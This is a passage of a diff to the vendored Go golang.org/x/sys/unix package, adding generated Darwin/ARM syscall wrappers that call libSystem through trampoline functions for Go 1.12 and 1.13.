-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
-new file mode 100644
-index 00000000..f519ce9a
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -l32 -tags darwin,arm,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,arm,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
-new file mode 100644
-index 00000000..488e5570
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go arm
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-index 7a409745..63103950 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
-+// go run mksyscall.go -l32 -tags darwin,arm,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,arm,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
